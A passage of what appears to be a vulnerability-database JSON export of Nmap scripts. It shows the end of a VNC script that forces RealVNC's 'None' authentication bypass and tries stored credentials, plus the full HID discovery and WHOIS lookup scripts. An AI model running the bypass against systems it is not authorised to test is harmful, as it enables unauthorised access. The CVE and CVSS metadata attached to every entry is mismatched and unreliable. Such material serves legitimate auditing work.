{\"vnc-brute\", \"realvnc-auth-bypass\"}\n\nportrule = shortport.port_or_service( {5900, 5901, 5902} , \"vnc\", \"tcp\", \"open\")\n\nlocal function fail(err) return stdnse.format_output(false, err) end\n\naction = function(host, port)\n\n local v = vnc.VNC:new( host, port )\n local status, data\n local result = stdnse.output_table()\n\n status, data = v:connect()\n if ( not(status) ) then return fail(data) end\n\n status, data = v:handshake()\n if ( not(status) ) then return fail(data) end\n\n -- If this doesn't work, start over.\n status = false\n local reg = host.registry[\"realvnc-auth-bypass\"]\n if reg and reg[port.number] then\n stdnse.debug1(\"Trying RealVNC Auth Bypass\")\n -- Force None auth type and try to init to exploit\n v:sendSecType(vnc.VNC.sectypes.NONE)\n status, data = v:login_none()\n if status then\n status, data = v:client_init(true)\n if not status then\n stdnse.debug1(\"RealVNC Auth Bypass failed.\")\n end\n end\n if not status then\n -- clean up and start over\n v:disconnect()\n status, data = v:connect()\n if not status then return fail(data) end\n status, data = v:handshake()\n if not status then return fail(data) end\n -- Be sure to let the regular login stuff have a try\n status = false\n end\n end\n if not status then\n local c = creds.Credentials:new(creds.ALL_DATA, host, port)\n local tried = 0\n for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do\n tried = tried + 1\n stdnse.debug1(\"Trying creds: %s:%s\", cred.user, cred.pass)\n status, data = v:login(cred.user, cred.pass)\n if status then\n break\n end\n end\n if tried < 1 then\n --worth trying a None-type login\n stdnse.debug1(\"Trying empty creds, for None security type\")\n status, data = v:login(\"\", \"\")\n end\n if not status then\n return fail((\"Couldn't log in: %s\"):format(data))\n end\n status, data = v:client_init(true)\n end\n if status then\n local out = stdnse.output_table()\n out.name = data.name\n out.geometry = (\"%d x %d\"):format(data.width, data.height)\n out.color_depth = data.depth\n return out\n end\n\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:47:09", "description": "Discovers HID devices on a LAN by sending a discoveryd network broadcast probe. \n\nFor more information about HID discoveryd, see: \n\n * <http://nosedookie.blogspot.com/2011/07/identifying-and-querying-hid-vertx.html>\n * <https://github.com/coldfusion39/VertXploit>\n\n## Script Arguments \n\n#### broadcast-hid-discoveryd.timeout \n\nsocket timeout (default: 5s)\n\n#### broadcast-hid-discoveryd.address \n\naddress to which the probe packet is sent. (default: 255.255.255.255)\n\n#### max-newtargets, newtargets \n\nSee the documentation for the [target](<../lib/target.html#script-args>) library. \n\n## Example Usage \n\n * nmap --script broadcast-hid-discoveryd\n\n * nmap --script broadcast-hid-discoveryd --script-args timeout=15s\n \n\n## Script Output \n \n \n Pre-scan script results:\n | broadcast-hid-discoveryd:\n | MAC: 00:06:8E:00:00:00; Name: NoEntry; IP Address: 10.123.123.1; Model: EH400; Version: 2.3.1.603 (04/23/2012)\n | MAC: 00:06:8E:FF:FF:FF; Name: NoExit; IP Address: 10.123.123.123; Model: EH400; Version: 2.3.1.603 (04/23/2012)\n |_ Use --script-args=newtargets to add the results as targets\n \n\n## Requires \n\n * [nmap](<../lib/nmap.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [stringaux](<../lib/stringaux.html>)\n * [target](<../lib/target.html>)\n * [os](<>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-06-23T19:11:30", "type": "nmap", "title": "broadcast-hid-discoveryd NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-10-18T01:08:19", "id": "NMAP:BROADCAST-HID-DISCOVERYD.NSE", "href": "https://nmap.org/nsedoc/scripts/broadcast-hid-discoveryd.html", "sourceData": "local nmap = require \"nmap\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal stringaux = require \"stringaux\"\nlocal target = require \"target\"\nlocal os = require \"os\"\nlocal table = require \"table\"\n\ndescription = [[\nDiscovers HID devices on a LAN by sending a discoveryd network broadcast probe.\n\nFor more information about HID discoveryd, see:\n* http://nosedookie.blogspot.com/2011/07/identifying-and-querying-hid-vertx.html\n* https://github.com/coldfusion39/VertXploit\n]]\n\n---\n-- @usage nmap --script broadcast-hid-discoveryd\n-- @usage nmap --script broadcast-hid-discoveryd --script-args timeout=15s\n--\n-- @output\n-- Pre-scan script results:\n-- | broadcast-hid-discoveryd:\n-- | MAC: 00:06:8E:00:00:00; Name: NoEntry; IP Address: 10.123.123.1; Model: EH400; Version: 2.3.1.603 (04/23/2012)\n-- | MAC: 00:06:8E:FF:FF:FF; Name: NoExit; IP Address: 10.123.123.123; Model: EH400; Version: 2.3.1.603 (04/23/2012)\n-- |_ Use --script-args=newtargets to add the results as targets\n--\n-- @args broadcast-hid-discoveryd.address\n-- address to which the probe packet is sent. (default: 255.255.255.255)\n-- @args broadcast-hid-discoveryd.timeout\n-- socket timeout (default: 5s)\n---\n\nauthor = \"Brendan Coles\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"discovery\", \"broadcast\", \"safe\"}\n\nprerule = function() return ( nmap.address_family() == \"inet\") end\n\nlocal arg_address = stdnse.get_script_args(SCRIPT_NAME .. \".address\")\nlocal arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. \".timeout\"))\n\naction = function()\n\n local host = { ip = arg_address or \"255.255.255.255\" }\n local port = { number = 4070, protocol = \"udp\" }\n local socket = nmap.new_socket(\"udp\")\n\n socket:set_timeout(500)\n\n -- send two packets, just in case\n for i=1,2 do\n local status = socket:sendto(host, port, \"discover;013;\")\n if ( not(status) ) then\n return stdnse.format_output(false, \"Failed to send broadcast probe\")\n end\n end\n\n local timeout = tonumber(arg_timeout) or ( 20 / ( nmap.timing_level() + 1 ) )\n local results = {}\n local stime = os.time()\n\n -- listen until timeout\n repeat\n local status, data = socket:receive()\n if ( status ) then\n local hid_pkt = data:match(\"^discovered;.*$\")\n if ( hid_pkt ) then\n local status, _, _, rhost, _ = socket:get_info()\n local hid_data = stringaux.strsplit(\";\", hid_pkt)\n if #hid_data == 10 and hid_data[1] == 'discovered' and tonumber(hid_data[2]) == string.len(hid_pkt) then\n stdnse.print_debug(2, \"Received HID discoveryd response from %s (%s bytes)\", rhost, string.len(hid_pkt))\n local str = (\"MAC: %s; Name: %s; IP Address: %s; Model: %s; Version: %s (%s)\"):format(\n hid_data[3], hid_data[4], hid_data[5], hid_data[7], hid_data[8], hid_data[9])\n table.insert( results, str )\n if target.ALLOW_NEW_TARGETS then\n target.add(hid_data[5])\n end\n end\n end\n end\n until( os.time() - stime > timeout )\n socket:close()\n\n local output = stdnse.output_table()\n if #results > 0 then\n -- remove duplicates\n local hash = {}\n for _,v in ipairs(results) do\n if (not hash[v]) then\n table.insert( output, v )\n hash[v] = true\n end\n end\n if not target.ALLOW_NEW_TARGETS then\n output[#output + 1] = \"Use --script-args=newtargets to add the results as targets\"\n end\n return output\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:32:33", "description": "Queries the WHOIS services of Regional Internet Registries (RIR) and attempts to retrieve information about the IP Address Assignment which contains the Target IP Address. \n\nThe fields displayed contain information about the assignment and the organisation responsible for managing the address space. When output verbosity is requested on the Nmap command line (`-v`) extra information about the assignment will be displayed. \n\nTo determine which of the RIRs to query for a given Target IP Address this script utilises Assignments Data hosted by IANA. The data is cached locally and then parsed for use as a lookup table. The locally cached files are refreshed periodically to help ensure the data is current. If, for any reason, these files are not available to the script then a default sequence of Whois services are queried in turn until: the desired record is found; or a referral to another (defined) Whois service is found; or until the sequence is exhausted without finding either a referral or the desired record. \n\nThe script will recognize a referral to another Whois service if that service is defined in the script and will continue by sending a query to the referred service. A record is assumed to be the desired one if it does not contain a referral. \n\nTo reduce the number unnecessary queries sent to Whois services a record cache is employed and the entries in the cache can be applied to any targets within the range of addresses represented in the record. \n\nIn certain circumstances, the ability to cache responses prevents the discovery of other, smaller IP address assignments applicable to the target because a cached response is accepted in preference to sending a Whois query. When it is important to ensure that the most accurate information about the IP address assignment is retrieved the script argument `whodb` should be used with a value of `\"nocache\"` (see script arguments). This reduces the range of addresses that may use a cached record to a size that helps ensure that smaller assignments will be discovered. This option should be used with caution due to the potential to send large numbers of whois queries and possibly be banned from using the services. \n\nIn using this script your IP address will be sent to iana.org. Additionally your address and the address of the target of the scan will be sent to one of the RIRs.\n\n### See also:\n\n * [ whois-domain.nse ](<../scripts/whois-domain.html>)\n\n## Script Arguments \n\n#### whodb \n\nTakes any of the following values, which may be combined: \n\n * `whodb=nofile` Prevent the use of IANA assignments data and instead query the default services. \n * `whodb=nofollow` Ignore referrals and instead display the first record obtained. \n * `whodb=nocache` Prevent the acceptance of records in the cache when they apply to large ranges of addresses. \n * `whodb=[service-ids]` Redefine the default services to query. Implies `nofile`.\n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n # Basic usage:\n nmap target --script whois-ip\n \n # To prevent the use of IANA assignments data supply the nofile value\n # to the whodb argument:\n nmap target --script whois-ip --script-args whodb=nofile\n nmap target --script whois-ip --script-args whois.whodb=nofile\n \n # Supplying a sequence of whois services will also prevent the use of\n # IANA assignments data and override the default sequence:\n nmap target --script whois-ip --script-args whodb=arin+ripe+afrinic\n nmap target --script whois-ip --script-args whois.whodb=apnic*lacnic\n # The order in which the services are supplied is the order in which\n # they will be queried. (N.B. commas or semi-colons should not be\n # used to delimit argument values.)\n \n # To return the first record obtained even if it contains a referral\n # to another service, supply the nofollow value to whodb:\n nmap target --script whois-ip --script-args whodb=nofollow\n nmap target --script whois-ip --script-args whois.whodb=nofollow+ripe\n # Note that only one service (the first one supplied) will be used in\n # conjunction with nofollow.\n \n # To ensure discovery of smaller assignments even if larger ones\n # exist in the cache, supply the nocache value to whodb:\n nmap target --script whois-ip --script-args whodb=nocache\n nmap target --script whois-ip --script-args whois.whodb=nocache\n\n## Script Output \n \n \n Host script results:\n | whois-ip: Record found at whois.arin.net\n | netrange: 64.13.134.0 - 64.13.134.63\n | netname: NET-64-13-143-0-26\n | orgname: Titan Networks\n | orgid: INSEC\n |_ country: US stateprov: CA\n\n## Requires \n\n * [http](<../lib/http.html>)\n * [io](<>)\n * [ipOps](<../lib/ipOps.html>)\n * [math](<>)\n * [nmap](<../lib/nmap.html>)\n * [os](<>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [stringaux](<../lib/stringaux.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2013-07-25T00:57:28", "type": "nmap", "title": "whois-ip NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2020-08-08T15:19:14", "id": "NMAP:WHOIS-IP.NSE", "href": "https://nmap.org/nsedoc/scripts/whois-ip.html", "sourceData": "local http = require \"http\"\nlocal io = require \"io\"\nlocal ipOps = require \"ipOps\"\nlocal math = require \"math\"\nlocal nmap = require \"nmap\"\nlocal os = require \"os\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal stringaux = require \"stringaux\"\nlocal table = require \"table\"\n\ndescription = [[\nQueries the WHOIS services of Regional Internet Registries (RIR) and attempts to retrieve information about the IP Address\nAssignment which contains the Target IP Address.\n\nThe fields displayed contain information about the assignment and the organisation responsible for managing the address\nspace. When output verbosity is requested on the Nmap command line (<code>-v</code>) extra information about the assignment will\nbe displayed.\n\nTo determine which of the RIRs to query for a given Target IP Address this script utilises Assignments Data hosted by IANA.\nThe data is cached locally and then parsed for use as a lookup table. The locally cached files are refreshed periodically\nto help ensure the data is current. If, for any reason, these files are not available to the script then a default sequence\nof Whois services are queried in turn until: the desired record is found; or a referral to another (defined) Whois service is\nfound; or until the sequence is exhausted without finding either a referral or the desired record.\n\nThe script will recognize a referral to another Whois service if that service is defined in the script and will continue by\nsending a query to the referred service. A record is assumed to be the desired one if it does not contain a referral.\n\nTo reduce the number unnecessary queries sent to Whois services a record cache is employed and the entries in the cache can be\napplied to any targets within the range of addresses represented in the record.\n\nIn certain circumstances, the ability to cache responses prevents the discovery of other, smaller IP address assignments\napplicable to the target because a cached response is accepted in preference to sending a Whois query. When it is important\nto ensure that the most accurate information about the IP address assignment is retrieved the script argument <code>whodb</code>\nshould be used with a value of <code>\"nocache\"</code> (see script arguments). This reduces the range of addresses that may use a\ncached record to a size that helps ensure that smaller assignments will be discovered. This option should be used with caution\ndue to the potential to send large numbers of whois queries and possibly be banned from using the services.\n\nIn using this script your IP address will be sent to iana.org. Additionally\nyour address and the address of the target of the scan will be sent to one of\nthe RIRs.\n]]\n\n---\n-- @see whois-domain.nse\n-- @args whodb Takes any of the following values, which may be combined:\n-- * <code>whodb=nofile</code> Prevent the use of IANA assignments data and instead query the default services.\n-- * <code>whodb=nofollow</code> Ignore referrals and instead display the first record obtained.\n-- * <code>whodb=nocache</code> Prevent the acceptance of records in the cache when they apply to large ranges of addresses.\n-- * <code>whodb=[service-ids]</code> Redefine the default services to query. Implies <code>nofile</code>.\n-- @usage\n-- # Basic usage:\n-- nmap target --script whois-ip\n--\n-- # To prevent the use of IANA assignments data supply the nofile value\n-- # to the whodb argument:\n-- nmap target --script whois-ip --script-args whodb=nofile\n-- nmap target --script whois-ip --script-args whois.whodb=nofile\n--\n-- # Supplying a sequence of whois services will also prevent the use of\n-- # IANA assignments data and override the default sequence:\n-- nmap target --script whois-ip --script-args whodb=arin+ripe+afrinic\n-- nmap target --script whois-ip --script-args whois.whodb=apnic*lacnic\n-- # The order in which the services are supplied is the order in which\n-- # they will be queried. (N.B. commas or semi-colons should not be\n-- # used to delimit argument values.)\n--\n-- # To return the first record obtained even if it contains a referral\n-- # to another service, supply the nofollow value to whodb:\n-- nmap target --script whois-ip --script-args whodb=nofollow\n-- nmap target --script whois-ip --script-args whois.whodb=nofollow+ripe\n-- # Note that only one service (the first one supplied) will be used in\n-- # conjunction with nofollow.\n--\n-- # To ensure discovery of smaller assignments even if larger ones\n-- # exist in the cache, supply the nocache value to whodb:\n-- nmap target --script whois-ip --script-args whodb=nocache\n-- nmap target --script whois-ip --script-args whois.whodb=nocache\n-- @output\n-- Host script results:\n-- | whois-ip: Record found at whois.arin.net\n-- | netrange: 64.13.134.0 - 64.13.134.63\n-- | netname: NET-64-13-143-0-26\n-- | orgname: Titan Networks\n-- | orgid: INSEC\n-- |_ country: US stateprov: CA\n\nauthor = \"jah\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"discovery\", \"external\", \"safe\"}\n\n\n\n\n-------------------------------------------------------------------------------------------------------------------------\n--\n--\n--\n--\n-- This script will run only if the target IP address has been determined to be routable on the Internet.\n\nhostrule = function( host )\n\n local is_private, err = ipOps.isPrivate( host.ip )\n if is_private == nil then\n stdnse.debug1(\"Error in Hostrule: %s.\", err)\n return false\n end\n\n return not is_private\n\nend\n\n\n\n-------------------------------------------------------------------------------------------------------------------------\n--\n--\n--\n--\n-- Queries WHOIS services until an applicable record is found or the list of services to query\n-- is exhausted and finishes by displaying elements of an applicable record.\n\naction = function( host )\n\n if not nmap.registry.whois then\n ---\n -- Data and flags shared between threads.\n -- @name whois\n -- @class table\n --@field whoisdb_default_order The default number and order of whois services to query.\n --@field using_local_assignments_file The boolean values of the two keys ipv4 and ipv6 determine whether or not to use the data from an IANA\n -- hosted assignments file for that address family.\n --@field local_assignments_file_expiry A period, between 0 and 7 days, during which cached assignments data may be used without being refreshed.\n --@field init_done Set when <code>script_init</code> has been called and prevents it being called again.\n --@field mutex A table of mutex functions, one for each service defined herein. Allows a thread exclusive access to a\n -- service, preventing concurrent connections to it.\n --@field nofollow A flag that prevents referrals to other whois records and allows the first record retrieved to be\n -- returned instead. Set to true when whodb=nofollow\n --@field using_cache A flag which modifies the size of ranges in a cache entry. Set to false when whodb=nocache\n --@field cache Storage for cached redirects, records and other data for output.\n nmap.registry.whois = {}\n nmap.registry.whois.whoisdb_default_order = {\"arin\",\"ripe\",\"apnic\"}\n nmap.registry.whois.using_cache = true\n nmap.registry.whois.using_local_assignments_file = {}\n nmap.registry.whois.using_local_assignments_file.ipv4 = true\n nmap.registry.whois.using_local_assignments_file.ipv6 = true\n nmap.registry.whois.local_assignments_file_expiry = \"16h\"\n nmap.registry.whois.nofollow = false\n nmap.registry.whois.cache = {}\n\n end\n\n -- script initialisation - threads must wait until this has been completed before continuing\n local mutex = nmap.mutex( \"whois\" )\n mutex \"lock\"\n if not nmap.registry.whois.init_done then\n script_init()\n end\n mutex \"done\"\n\n ---\n -- Holds field data captured from the responses of each service queried and includes additional information about the final desired record.\n --\n -- The table, indexed by whois service id, holds a table of fields captured from each queried service. Once it has been determined that a record\n -- represents the final record we wish to output, the existing values are destroyed and replaced with the one required record. This is done purely\n -- to make it easier to reference the data of a desired record. Other values in the table are as follows.\n -- @name data\n -- @class table\n --@field data.iana is set after the table is initialised and is the number of times a response encountered represents \"The Whole Address Space\".\n -- If the value reaches 2 it is assumed that a valid record is held at ARIN.\n --@field data.id is set in <code>analyse_response</code> after final record and is the service name at which a valid record has been found. Used in\n -- <code>format_data_for_output</code>.\n --@field data.mirror is set in <code>analyse_response</code> after final record and is the service name from which a mirrored record has been found. Used in\n -- <code>format_data_for_output</code>.\n --@field data.comparison is set in <code>analyse_response</code> after final record and is a string concatenated from fields extracted from a record and which\n -- serves as a fingerprint for a record, used in <code>get_cache_key</code>, to compare two records for equality.\n local data = {}\n data.iana = 0\n\n ---\n -- Used in the main loop to manage mutexes, the structure of tracking is as follows.\n -- @name tracking\n -- @class table\n --@field this_db The service for which a thread will wait for exclusive access before sending a query to it.\n --@field next_db The next service to query. Allows a thread to continue in the main \"while do\" loop.\n --@field last_db The value of this_db after sending a query, used when exclusive access to a service is no longer required.\n --@field completed An array of services previously queried.\n local tracking = {}\n tracking.completed = {}\n local addr_family = #host.bin_ip == 4 and \"ipv4\" or \"ipv6\"\n\n tracking = get_next_action( tracking, host.ip, addr_family )\n\n -- main loop\n while tracking.next_db do\n\n local status, retval\n tracking.this_db, tracking.next_db = tracking.next_db, nil\n\n nmap.registry.whois.mutex[tracking.this_db] \"lock\"\n\n status, retval = pcall( get_next_action, tracking, host.ip, addr_family )\n if not status then\n stdnse.debug1(\"pcall caught an exception in get_next_action: %s.\", retval)\n else tracking = retval end\n\n if tracking.this_db then\n -- do query\n local response = do_query( tracking.this_db, host.ip )\n tracking.completed[#tracking.completed+1] = tracking.this_db\n\n -- analyse data\n status, retval = pcall( analyse_response, tracking, host.ip, response, data )\n if not status then\n stdnse.debug1(\"pcall caught an exception in analyse_response: %s.\", retval)\n else data = retval end\n\n -- get next action\n status, retval = pcall( get_next_action, tracking, host.ip, addr_family )\n if not status then\n stdnse.debug1(\"pcall caught an exception in get_next_action: %s.\", retval)\n if not tracking.last_db then tracking.last_db, tracking.this_db = tracking.this_db or tracking.next_db, nil end\n else tracking = retval end\n end\n\n nmap.registry.whois.mutex[tracking.last_db] \"done\"\n tracking.last_db = nil\n\n end\n\n\n return output( host.ip, tracking.completed )\n\nend -- action\n\n\n\n\n----------------------------------------------------------------------------------------------------------------------------\n--\n--\n--\n--\n-- Determines whether or not to query a whois service and which one to query. Checks the cache first - where there may be a redirect or a\n-- cached record. If not, it trys to get a service from the assignments files if this was not previously attempted. Finally, if a service has\n-- not yet been obtained the first unqueried service from whoisdb_default_order is used. The tracking table is manipulated such that a thread\n-- knows its next move in the main loop.\n-- @param tracking The Tracking table.\n-- @param ip String representing the Target's IP address.\n-- @param addr_fam String representing the Target's IP address family.\n-- @return The supplied and possibly modified tracking table.\n-- @see tracking, check_response_cache, get_db_from_assignments\n\nfunction get_next_action( tracking, ip, addr_fam )\n\n if type( ip ) ~= \"string\" or ip == \"\" or type( tracking ) ~= \"table\" or type( tracking.completed ) ~= \"table\" then return nil end\n\n --next_db should always be nil when calling this\n if tracking.next_db then return tracking end\n\n\n -- check for cached redirects and records\n local in_cache\n in_cache, tracking.next_db = check_response_cache( ip )\n\n if in_cache and not tracking.next_db then\n\n -- found cached data - quit\n tracking.this_db, tracking.last_db = nil, tracking.this_db\n return tracking\n\n elseif in_cache and tracking.next_db then\n\n -- found cached redirect\n if tracking.next_db ~= tracking.this_db then\n\n -- skip query to this_db and set last_db so we can unlock mutex\n tracking.this_db, tracking.last_db = nil, tracking.this_db\n\n else\n\n -- we were already about to query this_db\n tracking.next_db = nil\n\n end\n\n -- kill redirect if the user specified \"nofollow\"\n if nmap.registry.whois.nofollow then tracking.next_db = nil end\n\n return tracking\n\n elseif not in_cache and tracking.this_db and table.concat( tracking.completed, \" \" ):match( tracking.this_db ) then\n\n -- we've already queried this_db so lets skip it and try whoisdb_default_order\n tracking.last_db, tracking.this_db = tracking.this_db, nil\n\n end\n\n\n -- try to find a service to query in the assignments files, if allowed\n if nmap.registry.whois.using_local_assignments_file[addr_fam] and not tracking.this_db and not tracking.last_db then\n\n tracking.next_db = get_db_from_assignments( ip )\n if tracking.next_db and not table.concat( tracking.completed, \" \" ):match( tracking.next_db ) then\n -- we got one we haven't queried - we probably haven't queried any yet.\n return tracking\n end\n\n end\n\n\n -- get the next untried service from whoisdb_default_order\n if not tracking.this_db and nmap.registry.whois.whoisdb_default_order then\n\n for i, db in ipairs( nmap.registry.whois.whoisdb_default_order ) do\n if not table.concat( tracking.completed, \" \" ):match( db ) then\n tracking.next_db = db\n break\n end\n end\n\n end\n\n return tracking\n\nend\n\n\n\n---\n-- Checks the registry for cached redirects and results applicable to the supplied Target's IP address.\n-- @param ip String representing the Target's IP address.\n-- @return Boolean True if the supplied IP address is within a range of addresses for which there is a cache entry and a redirect or a\n-- record is present; otherwise false.\n-- @return ID of a service defined in whoisdb if a redirect is present; otherwise nil.\n-- @see get_cache_key\n\nfunction check_response_cache( ip )\n\n if not next( nmap.registry.whois.cache ) then return false, nil end\n if type( ip ) ~= \"string\" or ip == \"\" then return false, nil end\n\n local ip_key = get_cache_key( ip )\n if not ip_key then return false, nil end\n\n local cache_data = nmap.registry.whois.cache[ip_key]\n\n if cache_data.redirect then\n -- redirect found in cache\n return true, cache_data.redirect\n elseif cache_data.data then\n -- record found in cache\n return true, nil\n else\n stdnse.debug1(\"Error in check_response_cache: Empty Cache Entry was found.\")\n end\n\n return false, nil\n\nend\n\n\n\n---\n-- Determines which entry in the cache is applicable to the Target and returns the key for that entry.\n-- @param ip String representing the Target's IP address.\n-- @return String key (IP address) of the cache entry applicable to the Target.\n\nfunction get_cache_key( ip )\n\n -- if this ip cached an entry, then we'll use it except when it represents a found record and we're not using_cache\n if nmap.registry.whois.cache[ip] and ( nmap.registry.whois.using_cache or nmap.registry.whois.cache[ip].redirect ) then\n return ip\n end\n\n -- When not using_cache, we compare our record to any others in the cache to avoid printing out the same record repeatedly.\n local self_compare\n if nmap.registry.whois.cache[ip] and nmap.registry.whois.cache[ip].data then\n -- we should have a string which we can use to compare with other records\n self_compare = nmap.registry.whois.cache[ip].data.comparison\n end\n\n local cache_entries = {}\n for ip_key, cache_data in pairs( nmap.registry.whois.cache ) do\n\n if type( ip_key ) == \"string\" and ip_key ~= \"\" and type( cache_data ) == \"table\" then\n\n -- compare and return original pointer\n if self_compare and ip ~= ip_key and not cache_data.pointer and self_compare == cache_data.data.comparison then\n nmap.registry.whois.cache[ip].pointer = ip_key\n return ip_key\n end\n\n -- check if ip is in a cached range and add the entry to cache_entries if it is\n local in_range, err = ipOps.ip_in_range( ip, cache_data.range )\n if in_range then\n local t = {}\n t.key = ip_key\n t.range = cache_data.range\n t.pointer = cache_data.pointer\n cache_entries[#cache_entries+1] = t\n end\n\n end\n\n end\n\n if #cache_entries == 0 then\n -- no applicable cache entries\n return nil\n elseif #cache_entries == 1 then\n -- just one applicable entry\n return cache_entries[1].pointer or cache_entries[1].key\n end\n\n -- more than one entry need sorting into ascending order\n table.sort( cache_entries, smallest_range )\n\n -- we'll choose the smallest range\n return cache_entries[1].key\n\nend\n\n\n\n---\n-- Calculates the prefix length for the given assignment.\n-- @param range String representing an IP address assignment\n-- @return Number - prefix length of the assignment\n\nfunction get_prefix_length( range )\n\n if type( range ) ~= \"string\" or range == \"\" then return nil end\n\n local first, last, err = ipOps.get_ips_from_range( range )\n if err then return nil end\n\n first = ipOps.ip_to_bin(first)\n last = ipOps.ip_to_bin(last)\n\n for pos = 1, #first do\n if first:byte(pos) ~= last:byte(pos) then\n return pos - 1\n end\n end\n\n return #first\n\nend\n\n\n\n\n---\n-- Performs a lookup against assignments data to determine which service to query for the supplied Target.\n-- @param ip String representing the Target's IP address.\n-- @return String id of the whois service to query, or nil.\n\nfunction get_db_from_assignments( ip )\n\n if type( ip ) ~= \"string\" or ip == \"\" then return nil end\n\n local af\n if ip:match( \":\" ) then\n af = \"ipv6\"\n else\n af = \"ipv4\"\n end\n\n if not nmap.registry.whois.local_assignments_data or not nmap.registry.whois.local_assignments_data[af] then\n stdnse.debug1(\"Error in get_db_from_assignments: Missing assignments data in registry.\")\n return nil\n end\n\n if next( nmap.registry.whois.local_assignments_data[af] ) then\n for _, assignment in ipairs( nmap.registry.whois.local_assignments_data[af] ) do\n if ipOps.ip_in_range( ip, assignment.range.first .. \"-\" .. assignment.range.last ) then\n return assignment.service\n end\n end\n end\n\n return nil\n\nend\n\n\n\n---\n-- Connects to a whois service (usually TCP port 43) and sends an IP address query, returning any response.\n-- @param db String id of a service defined in whoisdb.\n-- @param ip String representing the Target's IP address.\n-- @return String response to query or nil.\n\nfunction do_query(db, ip)\n\n if type( db ) ~= \"string\" or not nmap.registry.whois.whoisdb[db] then\n stdnse.debug1(\"Error in do_query: %s is not a defined Whois service.\", db)\n return nil\n end\n\n local service = nmap.registry.whois.whoisdb[db]\n\n if type( service.hostname ) ~= \"string\" or service.hostname == \"\" then\n stdnse.debug1(\"Error in do_query: Invalid hostname for %s.\", db)\n return nil\n end\n\n local query_data = \"\"\n if type( service.preflag ) == \"string\" and service.preflag ~= \"\" then\n query_data = service.preflag .. \" \"\n end\n query_data = query_data .. ip\n if type( service.postflag ) == \"string\" and service.postflag ~= \"\" then\n query_data = query_data .. service.postflag\n end\n query_data = query_data .. \"\\n\"\n\n local socket = nmap.new_socket()\n local catch = function()\n stdnse.debug1(\"Connection to %s failed or was aborted! No Output for this Target.\", db)\n nmap.registry.whois.mutex[db] \"done\"\n socket:close()\n end\n\n local result, status, line = {}\n local try = nmap.new_try( catch )\n\n socket:set_timeout( 10000 )\n try( socket:connect( service.hostname, 43 ) )\n try( socket:send( query_data ) )\n\n while true do\n local status, lines = socket:receive_lines(1)\n if not status then\n break\n else\n result[#result+1] = lines\n end\n end\n\n socket:close()\n\n stdnse.debug3(\"Ended Query at %s.\", db)\n\n if #result == 0 then\n return nil\n end\n\n return table.concat( result )\n\nend\n\n\n\n---\n-- Extracts fields (if present) from the information returned in response to our query and determines whether it represents a referral to a\n-- record hosted elsewhere. The referral is cached in the registry to allow threads for targets in the same assignment to avoid performing\n-- their queries to this service. If it is not a referral, we assume it is the desired record and the extracted fields are cached in the\n-- registry ready for output.\n-- @param tracking Tracking table.\n-- @param ip String representing a Target's IP address.\n-- @param response String obtained from a service in response to our query.\n-- @param data Table of fields captured from previously queried services, indexed by service name.\n-- @return The data table passed as a parameter which may have been added to or may contain only the fields extracted from the desired\n-- record (in which case it will no longer be indexed by service name).\n-- @see extract_objects_from_response, redirection_rules, constrain_response, add_to_cache\n\nfunction analyse_response( tracking, ip, response, data )\n\n if type( response 